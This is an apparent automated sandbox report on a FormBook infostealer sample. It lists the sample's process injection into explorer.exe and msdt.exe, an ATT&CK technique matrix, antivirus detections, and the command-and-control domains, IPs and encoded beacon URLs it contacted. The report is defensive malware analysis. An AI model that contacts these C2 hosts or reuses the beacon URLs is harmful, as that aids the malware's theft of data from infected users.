          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A7E50 GetProcessHeap,HeapAlloc,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,CreateEventW,CreateNamedPipeW,ConnectNamedPipe,GetLastError,GetLastError,GetLastError,GetProcessHeap,HeapFree,LocalFree,6_2_008A7E50
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A7A8E GetSystemTime,6_2_008A7A8E
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00884764 GetProcessHeap,HeapAlloc,GetUserNameExW,GetLastError,SysFreeString,GetProcessHeap,HeapFree,6_2_00884764
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
          Shared Modules          		1
          DLL Side-Loading          		1
          Exploitation for Privilege Escalation          		1
          Disable or Modify Tools          		OS Credential Dumping1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		2
          Ingress Tool Transfer          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
          Abuse Elevation Control Mechanism          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory1
          Account Discovery          		Remote Desktop Protocol2
          Clipboard Data          		2
          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
          DLL Side-Loading          		1
          Abuse Elevation Control Mechanism          		Security Account Manager2
          File and Directory Discovery          		SMB/Windows Admin SharesData from Network Shared Drive2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook613
          Process Injection          		4
          Obfuscated Files or Information          		NTDS213
          System Information Discovery          		Distributed Component Object ModelInput Capture12
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
          Software Packing          		LSA Secrets241
          Security Software Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          DLL Side-Loading          		Cached Domain Credentials2
          Process Discovery          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          Masquerading          		DCSync41
          Virtualization/Sandbox Evasion          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job41
          Virtualization/Sandbox Evasion          		Proc Filesystem1
          Application Window Discovery          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt613
          Process Injection          		/etc/passwd and /etc/shadow1
          System Owner/User Discovery          		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1465619 Sample: mQY9ka5sW6hv2Ri.exe Startdate: 01/07/2024 Architecture: WINDOWS Score: 100 35 www.b0ba138.xyz 2->35 37 www.umeshraja.com 2->37 39 14 other IPs or domains 2->39 47 Snort IDS alert for network traffic 2->47 49 Found malware configuration 2->49 51 Malicious sample detected (through community Yara rule) 2->51 55 8 other signatures 2->55 11 mQY9ka5sW6hv2Ri.exe 3 2->11         started        signatures3 53 Performs DNS queries to domains with low reputation 35->53 process4 file5 33 C:\Users\user\...\mQY9ka5sW6hv2Ri.exe.log, ASCII 11->33 dropped 65 Tries to detect virtualization through RDTSC time measurements 11->65 67 Injects a PE file into a foreign processes 11->67 69 Switches to a custom stack to bypass stack traces 11->69 15 mQY9ka5sW6hv2Ri.exe 11->15         started        18 mQY9ka5sW6hv2Ri.exe 11->18         started        20 mQY9ka5sW6hv2Ri.exe 11->20         started        signatures6 process7 signatures8 71 Modifies the context of a thread in another process (thread injection) 15->71 73 Maps a DLL or memory area into another process 15->73 75 Sample uses process hollowing technique 15->75 77 2 other signatures 15->77 22 explorer.exe 65 1 15->22 injected process9 dnsIp10 41 www.cpuk-finance.com 185.151.30.212, 49746, 80 TWENTYIGB United Kingdom 22->41 43 www.real-estate-96841.bond 185.53.179.90, 49741, 80 TEAMINTERNET-ASDE Germany 22->43 45 4 other IPs or domains 22->45 57 System process connects to network (likely due to code injection or exploit) 22->57 26 msdt.exe 22->26         started        signatures11 process12 signatures13 59 Modifies the context of a thread in another process (thread injection) 26->59 61 Maps a DLL or memory area into another process 26->61 63 Tries to detect virtualization through RDTSC time measurements 26->63 29 cmd.exe 1 26->29         started        process14 process15 31 conhost.exe 29->31         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          mQY9ka5sW6hv2Ri.exe32%ReversingLabsByteCode-MSIL.Trojan.XWorm
          mQY9ka5sW6hv2Ri.exe100%AviraHEUR/AGEN.1308761
          mQY9ka5sW6hv2Ri.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.fontbureau.com/designers0%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.fontbureau.com/designers/frere-user.html0%URL Reputationsafe
          https://android.notify.windows.com/iOS0%URL Reputationsafe
          http://www.fontbureau.com/designersG0%URL Reputationsafe
          http://www.fontbureau.com/designers/?0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.fontbureau.com/designers?0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://schemas.micro0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://www.883106.photosReferer:0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV0%Avira URL Cloudsafe
          http://www.manga-house.com0%Avira URL Cloudsafe
          http://www.bdsmnutzbar.info/dy13/H0%Avira URL Cloudsafe
          http://www.sdplat.media/dy13/?Cj9LK=8pm41D0p&0N=ZKZE34nO5+VJCQ7V97/Oxkx+yV2XZDJ4QNe5btj3ut8Iv1OZ3MT37vqx38H3jKbLJXyY0%Avira URL Cloudsafe
          http://www.umeshraja.comReferer:0%Avira URL Cloudsafe
          https://api.msn.com:443/v1/news/Feed/Windows?0%Avira URL Cloudsafe
          http://www.acc-pay.top0%Avira URL Cloudsafe
          https://aka.ms/odirmr0%Avira URL Cloudsafe
          http://www.real-estate-96841.bond/dy13/0%Avira URL Cloudsafe
          http://www.sdplat.mediaReferer:0%Avira URL Cloudsafe
          http://www.bdsmnutzbar.infoReferer:0%Avira URL Cloudsafe
          http://www.cpuk-finance.comReferer:0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we0%Avira URL Cloudsafe
          http://www.real-estate-96841.bond/dy13/?Cj9LK=8pm41D0p&0N=QEHoM+aYI3hCf+czBdOSz9RRIKYxAFZVZwkeDGKMWY6YfTbawsJCAKRBbAifn9DzIiC00%Avira URL Cloudsafe
          https://simpleflying.com/how-do-you-become-an-air-traffic-controller/0%Avira URL Cloudsafe
          http://www.883106.photos/dy13/0%Avira URL Cloudsafe
          https://excel.office.com0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY0%Avira URL Cloudsafe
          http://www.sdplat.media0%Avira URL Cloudsafe
          http://www.cpuk-finance.com0%Avira URL Cloudsafe
          https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe0%Avira URL Cloudsafe
          http://www.umeshraja.com/dy13/?Cj9LK=8pm41D0p&0N=LqTJXJ5089mrTceMc0p83ZaAEN5I+KgWBnSPa3/fnIguC6SsnRdV26ZHA6opskXgqsBG0%Avira URL Cloudsafe
          http://www.484844.vip/dy13/www.manga-house.com0%Avira URL Cloudsafe
          http://www.manga-house.comReferer:0%Avira URL Cloudsafe
          http://www.acc-pay.top/dy13/www.umeshraja.com0%Avira URL Cloudsafe
          http://www.883106.photos/dy13/?0N=AG4Ye1FrkmCiFPqbKlnZ1dM6YK/DoI/B/9McINMFJI+SypkU6UbY406xkx1Fqy5gp249&Cj9LK=8pm41D0p0%Avira URL Cloudsafe
          http://www.taini00.netReferer:0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark0%Avira URL Cloudsafe
          http://www.883106.photos0%Avira URL Cloudsafe
          http://www.real-estate-96841.bondReferer:0%Avira URL Cloudsafe
          http://www.soloparentconnect.com/dy13/0%Avira URL Cloudsafe
          http://www.real-estate-96841.bond/dy13/www.taini00.net0%Avira URL Cloudsafe
          http://www.acc-pay.top/dy13/0%Avira URL Cloudsafe
          http://www.autoitscript.com/autoit3/J0%Avira URL Cloudsafe
          https://word.office.com0%Avira URL Cloudsafe
          https://wns.windows.com/L0%Avira URL Cloudsafe
          http://www.soloparentconnect.com/dy13/www.b0ba138.xyz0%Avira URL Cloudsafe
          https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg0%Avira URL Cloudsafe
          https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings0%Avira URL Cloudsafe
          https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win0%Avira URL Cloudsafe
          http://www.tyupok.xyz/dy13/www.484844.vip0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu0%Avira URL Cloudsafe
          http://www.soloparentconnect.com0%Avira URL Cloudsafe
          http://www.taini00.net0%Avira URL Cloudsafe
          http://schemas.micr0%Avira URL Cloudsafe
          https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew0%Avira URL Cloudsafe
          http://www.b0ba138.xyz/dy13/?Cj9LK=8pm41D0p&0N=LVVXn+3XMgScWvA+gustfxAGGBCnrJhvM+qFjqFs2KSrXwfcw3kbTxGlCeyN42Y88s8h0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark0%Avira URL Cloudsafe
          http://www.484844.vip0%Avira URL Cloudsafe
          http://www.umeshraja.com0%Avira URL Cloudsafe
          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu0%Avira URL Cloudsafe
          http://www.freedompopo.com/dy13/www.bdsmnutzbar.info0%Avira URL Cloudsafe
          http://www.883106.photos/dy13/www.tyupok.xyz0%Avira URL Cloudsafe
          http://www.tyupok.xyz/dy13/0%Avira URL Cloudsafe
          http://www.carefulapp.com0%Avira URL Cloudsafe
          https://www.rd.com/list/polite-habits-campers-dislike/0%Avira URL Cloudsafe
          http://www.carefulapp.com/dy13/0%Avira URL Cloudsafe
          https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img0%Avira URL Cloudsafe
          http://www.sdplat.media/dy13/www.soloparentconnect.com0%Avira URL Cloudsafe
          http://www.cpuk-finance.com/dy13/0%Avira URL Cloudsafe
          https://outlook.com_0%Avira URL Cloudsafe
          https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe0%Avira URL Cloudsafe
          http://www.484844.vipReferer:0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at0%Avira URL Cloudsafe
          http://www.cpuk-finance.com/dy13/?Cj9LK=8pm41D0p&0N=gDxxMnt83apdqDd0VF+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPHOMA9Jp0yBU0%Avira URL Cloudsafe
          http://www.b0ba138.xyzReferer:0%Avira URL Cloudsafe
          http://www.real-estate-96841.bond0%Avira URL Cloudsafe
          http://schemas.mi0%Avira URL Cloudsafe
          https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl0%Avira URL Cloudsafe
          http://www.imuschestvostorgov.onlineReferer:0%Avira URL Cloudsafe
          http://www.taini00.net/dy13/0%Avira URL Cloudsafe
          http://www.carefulapp.comReferer:0%Avira URL Cloudsafe
          http://www.cpuk-finance.com/dy13/www.acc-pay.top0%Avira URL Cloudsafe
          http://www.bdsmnutzbar.info/dy13/0%Avira URL Cloudsafe
          https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-0%Avira URL Cloudsafe
          https://powerpoint.office.comcember0%Avira URL Cloudsafe
          http://www.carefulapp.com/dy13/www.freedompopo.com0%Avira URL Cloudsafe
          https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew0%Avira URL Cloudsafe
          http://www.sdplat.media/dy13/0%Avira URL Cloudsafe
          http://www.umeshraja.com/dy13/0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.real-estate-96841.bond
          		185.53.179.90
          		truetrue
            		unknown
            umeshraja.com
            		3.33.130.190
            		truetrue
              		unknown
              soloparentconnect.com
              		3.33.130.190
              		truetrue
                		unknown
                www.b0ba138.xyz
                		104.21.74.89
                		truetrue
                  		unknown
                  reticulated-garbanzo-p6jx8r0u3hbz71yu1pcvzfk0.herokudns.com
                  		3.226.182.14
                  		truetrue
                    		unknown
                    www.cpuk-finance.com
                    		185.151.30.212
                    		truetrue
                      		unknown
                      2tduz67r.as66588.com
                      		147.92.43.172
                      		truetrue
                        		unknown
                        www.soloparentconnect.com
                        		unknown
                        		unknowntrue
                          		unknown
                          www.imuschestvostorgov.online
                          		unknown
                          		unknowntrue
                            		unknown
                            www.883106.photos
                            		unknown
                            		unknowntrue
                              		unknown
                              www.484844.vip
                              		unknown
                              		unknowntrue
                                		unknown
                                www.acc-pay.top
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.sdplat.media
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    www.taini00.net
                                    		unknown
                                    		unknowntrue
                                      		unknown
                                      www.umeshraja.com
                                      		unknown
                                      		unknowntrue
                                        		unknown

                                        Contacted URLs

                                        NameMaliciousAntivirus DetectionReputation
                                        http://www.sdplat.media/dy13/?Cj9LK=8pm41D0p&0N=ZKZE34nO5+VJCQ7V97/Oxkx+yV2XZDJ4QNe5btj3ut8Iv1OZ3MT37vqx38H3jKbLJXyYtrue
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.real-estate-96841.bond/dy13/?Cj9LK=8pm41D0p&0N=QEHoM+aYI3hCf+czBdOSz9RRIKYxAFZVZwkeDGKMWY6YfTbawsJCAKRBbAifn9DzIiC0true
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.umeshraja.com/dy13/?Cj9LK=8pm41D0p&0N=LqTJXJ5089mrTceMc0p83ZaAEN5I+KgWBnSPa3/fnIguC6SsnRdV26ZHA6opskXgqsBGtrue
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.883106.photos/dy13/?0N=AG4Ye1FrkmCiFPqbKlnZ1dM6YK/DoI/B/9McINMFJI+SypkU6UbY406xkx1Fqy5gp249&Cj9LK=8pm41D0ptrue
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.b0ba138.xyz/dy13/?Cj9LK=8pm41D0p&0N=LVVXn+3XMgScWvA+gustfxAGGBCnrJhvM+qFjqFs2KSrXwfcw3kbTxGlCeyN42Y88s8htrue
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.cpuk-finance.com/dy13/?Cj9LK=8pm41D0p&0N=gDxxMnt83apdqDd0VF+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPHOMA9Jp0yBUtrue
                                        • Avira URL Cloud: safe
                                        		unknown

                                        URLs from Memory and Binaries

                                        NameSourceMaliciousAntivirus DetectionReputation
                                        https://aka.ms/odirmrexplorer.exe, 00000005.00000003.3106253540.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4093721221.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426649414.00000000079FB000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.manga-house.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.bdsmnutzbar.info/dy13/Hexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.umeshraja.comReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1665871823.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000097D4000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.real-estate-96841.bond/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.883106.photosReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.fontbureau.com/designersmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.acc-pay.topexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.bdsmnutzbar.infoReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://excel.office.comexplorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.sdplat.mediaReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.883106.photos/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-weexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://simpleflying.com/how-do-you-become-an-air-traffic-controller/explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.sajatypeworks.commQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.founder.com.cn/cn/cThemQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
